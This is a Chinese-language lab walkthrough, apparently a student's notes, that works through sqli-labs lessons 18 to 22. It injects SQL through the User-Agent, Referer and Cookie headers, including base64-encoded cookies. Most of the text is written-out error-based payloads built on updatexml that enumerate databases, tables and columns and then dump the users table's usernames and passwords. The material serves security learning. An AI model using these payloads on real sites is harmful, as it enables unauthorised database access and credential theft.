HTTP头注入是指从HTTP头中获取数据,而未对获取到的数据进行过滤,从而产生的注入。
COOKIE型注入是通过COOKIE进行数据提交的,其常见的情况有验证登陆、$_REQUEST获取参数。验证登陆是将用户的登录信息放入COOKIE中来做权限验证的一种方法;
通常使用抓包工具,抓取数据包,并使用报错注入的方式(updatexml(),extractvalue()函数等)对HTTP头进行payload构造(判断注入点和获取信息均可以使用报错注入);
EG:
X-Forwarded-For: 123.123.123.123' or 1=1 #
User-Agent: .........' or updatexml(1,concat(0x7e,database(),0x7e),1),",") #
Referer: ' or updatexml(1,concat(0x7e,database(),0x7e),1),",") #
Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #
...
由初始界面显示知道,可以看到需要我们输入username和password,根据登录的查询语句的一般结构,所以对username输入处构造判断注入点链接(截断后面语句方式);
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断(通过浏览器的开发者调试查看页面标签元素,发现POST传送参数为uname和passwd);
EG:
对参数(uname)进行判断;
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=a" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
uname=a) or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
uname=a] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
uname=a} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
uname=a'' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
uname=a'" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
uname=a') or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('])代替('))进行构造;
uname=a'] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('})代替('))进行构造;
uname=a'} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("')代替('})进行构造;
uname=a"' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
uname=a"" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=a") or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=a") or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("])代替("))进行构造;
uname=a"] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("})代替("])进行构造;
uname=a"} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()')代替("})进行构造;
uname=a)' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()")代替()')进行构造;
uname=a)" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用()))代替()")进行构造;
uname=a)) or 1=1 %23&passwd=1&submit=Submit
...
//发现无论构造怎样的闭合字符的payload,服务器返回页面都不发生改变,尝试用admin进行测试,是否存在盲注;
uname=admin and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=admin' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=admin" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
uname=admin) and i1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('')代替())进行构造;
uname=admin'' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
uname=admin'" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
uname=admin') and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("')代替('))进行构造;
uname=admin"' and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
uname=admin"" and 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
uname=admin") and 1=1 %23&passwd=1&submit=Submit
...
经过尝试发现(宽字节绕过,特殊字符过滤绕过等),参数(uname)不存在注入,尝试对参数(passwd)进行测试;
EG:
uname=admin&passwd='&submit=Submit
//服务器返回页面错误,尝试(")代替(')进行构造;
uname=admin&passwd="&submit=Submit
//服务器返回页面错误,尝试())代替(")进行构造;
uname=admin&passwd=)&submit=Submit
//服务器返回页面错误,尝试(})代替())进行构造;
uname=admin&passwd=}&submit=Submit
//服务器返回页面错误,尝试(])代替(})进行构造;
uname=admin&passwd=]&submit=Submit
//服务器返回页面错误,尝试('')代替(])进行构造;
uname=admin&passwd=''&submit=Submit
//服务器返回页面错误,尝试('")代替('')进行构造;
...
//发现无论构造怎样的闭合字符的payload,服务器返回页面都不发生改变(登录失败),考虑是否存在HTTP头注入,使用正确的uname和passwd进行尝试
uname=admin&passwd=admin&submit=Submit
//服务器返回页面正确,同时也看到了页面显示了浏览器USER AGENT 标识,判断此处,可能存在HTTP头注入;
EG:
使用正确的uname和passwd对HTTP头的USER-AGENT进行注入点尝试(首先使用单引号闭合)(一般是单引号和双引号闭合的方式);
uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0' and '1'='1
//服务器返回页面正确,同时也看到了页面显示了浏览器USER-AGENT 标识,使用单引号闭合判断是否存在报错注入(没有则用"替换'进行尝试);
uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0' and updatexml(1,concat(0x7c,(select database()),0x7c),1)and '1'='1
//服务器返回页面正确,同时也看到了页面显示了浏览器USER-AGENT 标识,同时出现报错提示,显示了当前使用数据库的名字,判断存在HTTP头_User-Agent注入;(单引号闭合)
经过尝试,判断出存在HTTP头_User-Agent注入(单引号闭合),并存在报错提示,可以使用报错注入的方式获取数据库信息;
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数,version()函数,database()函数等构造payload;
uname=admin&passwd=admin&submit=Submit
User-Agent: ' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user()),1) and '1'='1
//查看到报错信息显示了当前使用数据库的名字,数据库版本,用户;
...
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
User-Agent: ' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),
1,32),1) and '1'='1
//查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
User-Agent: ' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) and '1'='1
//查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
User-Agent: ' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7c),1) and '1'='1
//查看到报错信息显示了‘users’表的字段为(id,username,password);
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
User-Agent: ' and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,password,0x7c) from users),0x7e),1,32),1) and '1'='1
//查看到报错信息显示了‘users’表的字段值信息为(|1|Dumb|Dumb|,2|Angelina|I-kill-。。。。。。);
...
查询其他的值也是同上面的方法一致;到此,POST型注入_HTTP头注入-User-Agent(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqlLab-18结束。
由初始界面显示知道,可以看出,可能存在与SqlLab-18相似的HTTP头注入,考虑使用正确的uname和passwd进行尝试;
EG:
uname=admin&passwd=admin&submit=Submit
//服务器返回页面正确,同时也看到了页面显示了Referer标识,判断此处,可能存在HTTP头注入;
EG:
使用正确的uname和passwd对HTTP头的USER-AGENT进行注入点尝试(首先使用单引号闭合)(一般是单引号和双引号闭合的方式);
uname=admin&passwd=admin&submit=Submit
Referer: http://192.168.1.104/sql/Less-19/' and'1'='1
//服务器返回页面正确,同时也看到了页面显示了发出请求的页面的URL(Referer),使用单引号闭合判断是否存在报错注入(没有则用"替换'进行尝试);
uname=admin&passwd=admin&submit=Submit
Referer: http://192.168.1.104/sql/Less-19/' and updatexml(1,concat(0x7c,(select database()),0x7c),1)and '1'='1
//服务器返回页面正确,同时也看到了页面显示了发出请求的页面的URL(Referer),同时出现报错提示,显示了当前使用数据库的名字,判断存在HTTP头_Referer注入;(单引号闭合)
经过尝试,判断出存在HTTP头_Referer注入(单引号闭合),并存在报错提示,可以使用报错注入的方式获取数据库信息;
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数,version()函数,database()函数等构造payload;
uname=admin&passwd=admin&submit=Submit
Referer: ' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user()),1) and '1'='1
//查看到报错信息显示了当前使用数据库的名字,数据库版本,用户;
...
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Referer: 'and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) and '1'='1
//查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Referer: 'and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) and '1'='1
//查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Referer: 'and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7c),1) and '1'='1
//查看到报错信息显示了‘users’表的字段为(id,username,password);
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Referer: ' and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,password,0x7c) from users),0x7e),1,32),1) and '1'='1
//查看到报错信息显示了‘users’表的字段值信息为(|1|Dumb|Dumb|,2|Angelina|I-kill-。。。。。。);
...
查询其他的值也是同上面的方法一致;到此,POST型注入_HTTP头注入-User-Referer(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqlLab-19结束。
由初始界面显示知道,可以看出,可能存在与SqliLab-18,19相似的HTTP头注入,考虑使用正确的uname和passwd进行尝试;
EG:
uname=admin&passwd=admin&submit=Submit
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,判断此处,可能存在HTTP头注入;
EG:
使用正确的uname和passwd对HTTP头的USER-AGENT和COOKIE进行注入点尝试(首先使用单引号闭合)(一般是单引号和双引号闭合的方式);
uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 ' and updatexml(1,concat(0x7c,(select database()),0x7c),1)and '1'='1
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,但无报错提示显示数据库名,用(")替换(')进行尝试);
uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 " and updatexml(1,concat(0x7c,(select database()),0x7c),1)and "1"="1
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,但无报错提示显示数据库名,对Cookie信息进行尝试;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,concat(0x7c,(select database()),0x7c),1)and '1'='1
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,有报错提示显示数据库名,为(security),判断存在HTTP头_Cookie注入;(单引号闭合)也可以考虑使用and进行判断;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and 1=1 #
//服务器页面返回正确(预期正确),尝试使用1=2进行构造;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and 1=2 #
//服务器页面返回错误(预期错误),判断存在HTTP头_Cookie注入;(单引号闭合);
经过尝试,判断出存在HTTP头_Cookie注入(单引号闭合),并存在报错提示和回显,可以使用报错注入和UNION联合查询的方式获取数据库信息(这里采用报错注入获取数据库信息);
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数,version()函数,database()函数等构造payload;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user()),1) and '1'='1
//查看到报错信息显示了当前使用数据库的名字,数据库版本,用户;
...
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) and '1'='1
//查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) and '1'='1
//查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7c),1) and '1'='1
//查看到报错信息显示了‘users’表的字段为(id,username,password);
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=admin ' and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,password,0x7c) from users),0x7e),1,32),1) and '1'='1
//查看到报错信息显示了‘users’表的字段值信息为(|1|Dumb|Dumb|,2|Angelina|I-kill-。。。。。。);
...
查询其他的值也是同上面的方法一致;到此,POST型注入_HTTP头注入-Cookie(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-20结束。
由初始界面显示知道,可以看出,可能存在与SqliLab-18,19,20相似的HTTP头注入,考虑使用正确的uname和passwd进行尝试;
EG:
uname=admin&passwd=admin&submit=Submit
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,判断此处,可能存在HTTP头注入;
EG:
使用正确的uname和passwd对HTTP头的USER-AGENT和COOKIE进行注入点尝试(首先使用单引号闭合)(一般是单引号和双引号闭合的方式);
uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 ' and updatexml(1,concat(0x7c,(select database()),0x7c),1)and '1'='1
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,但无报错提示显示数据库名,用(")替换(')进行尝试);
uname=admin&passwd=admin&submit=Submit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 " and updatexml(1,concat(0x7c,(select database()),0x7c),1)and "1"="1
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,但无报错提示显示数据库名,对Cookie信息进行尝试;
uname=admin&passwd=admin&submit=Submit
//使用BURPSUIT抓取数据包发现(正确登录时候也能在服务器返回页面发现),之前的(Cookie: uname=admin)变为了(Cookie: uname=YWRtaW4%3D),发现%3D为URL 中(=)的指定参数的值,即Cookie信息为(Cookie: uname=YWRtaW4=),符合一个base64加密的字符串的标准,考虑将payload转换成base64加密后的字符串再放进抓取的数据包中;
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdjKSwxKWFuZCAnMSc9JzE=
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息(构造的payload),有报错提示显示数据库名,为(security),判断存在HTTP头_Cookie注入(单引号闭合);
经过尝试,判断出存在HTTP头_Cookie注入(单引号闭合)(使用BASE64加密数据),并存在报错提示,可以使用报错注入的方式获取数据库信息;
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数,version()函数,database()函数等构造payload;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsZGF0YWJhc2UoKSwweDdjLHZlcnNpb24oKSwweDdjLHVzZXIoKSksMSkgYW5kICcxJz0nMQ==
//查看到报错信息显示了当前使用数据库的名字,数据库版本,用户;
...
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsbWlkKGNvbmNhdCgweDdjLChzZWxlY3QgZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSksMHg3YyksMSwzMiksMSkgYW5kICcxJz0nMQ==
//查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwweDdjKSwxKSBhbmQgJzEnPScx
//查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0idXNlcnMiKSwweDdjKSwxKSBhbmQgJzEnPScx
//查看到报错信息显示了‘users’表的字段为(id,username,password);
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsbWlkKGNvbmNhdCgweDdjLChzZWxlY3QgZ3JvdXBfY29uY2F0KGlkLDB4N2MsdXNlcm5hbWUsMHg3YyxwYXNzd29yZCwweDdjKSBmcm9tIHVzZXJzKSwweDdlKSwxLDMyKSwxKSBhbmQgJzEnPScx
//查看到报错信息显示了‘users’表的字段值信息为(|1|Dumb|Dumb|,2|Angelina|I-kill-。。。。。。);
...
查询其他的值也是同上面的方法一致;到此,POST型注入_HTTP头注入-Cookie(报错注入)(基于BASE64加密的数据传送)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-21结束。
由初始界面显示知道,可以看出,可能存在与SqliLab-18,19,20,21相似的HTTP头注入,考虑使用正确的uname和passwd进行尝试;
EG:
uname=admin&passwd=admin&submit=Submit
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息,判断此处,可能存在HTTP头注入,同时发现服务器返回界面同SqliLab-21相同,都发现了Cookie:uname=YWRtaW4%3D,判断可能存在与SqliLab-21一样的注入方式,尝试使用单引号闭合并使用base64加密进行构造payload;
EG:
使用正确的uname和passwd对HTTP头的COOKIE进行注入点尝试(首先使用单引号闭合并使用base64加密)(一般是单引号和双引号闭合的方式);
uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdjKSwxKWFuZCAnMSc9JzE=
//服务器返回页面错误,同时也看到了页面显示了User-Agent标识,Cookie信息,没有报错提示显示数据库名,尝试使用双引号代替单引号进行构造;
uname=admin&passwd=admin&submit=Submit
Cookie: uname=YWRtaW4gIiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2MsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdjKSwxKWFuZCAiMSI9IjE=
//服务器返回页面正确,同时也看到了页面显示了User-Agent标识,Cookie信息(构造的payload),有报错提示显示数据库名,为(security),判断存在HTTP头_Cookie注入(双引号闭合);
经过尝试,判断出存在HTTP头_Cookie注入(双引号闭合BASE64加密),并存在报错提示,可以使用报错注入的方式获取数据库信息,具体的流程就和SqliLab-21一样了,只是单引号(’)转换为双引号(")构造payload并进行base64加密,SqliLab-22结束;
POST注入一般的判断是先从抓取的数据包中的参数进行注入点的判断,如果从参数中找不到注入点,则再从HTTP头查找注入点,参数的注入,多数能采用报错注入/布尔盲注/时间盲注等方式,少数能用UNION查询的方式得到数据库信息;对于HTTP请求头注入,需要注意的是HTTP头类型值字符串一般是用单引号或者双引号闭合的,有时候需要考虑字符串的编码格式,多数情况下采用报错注入的方式获取信息。
[如有错误,请指出,拜托了<( _ _ )> !!!]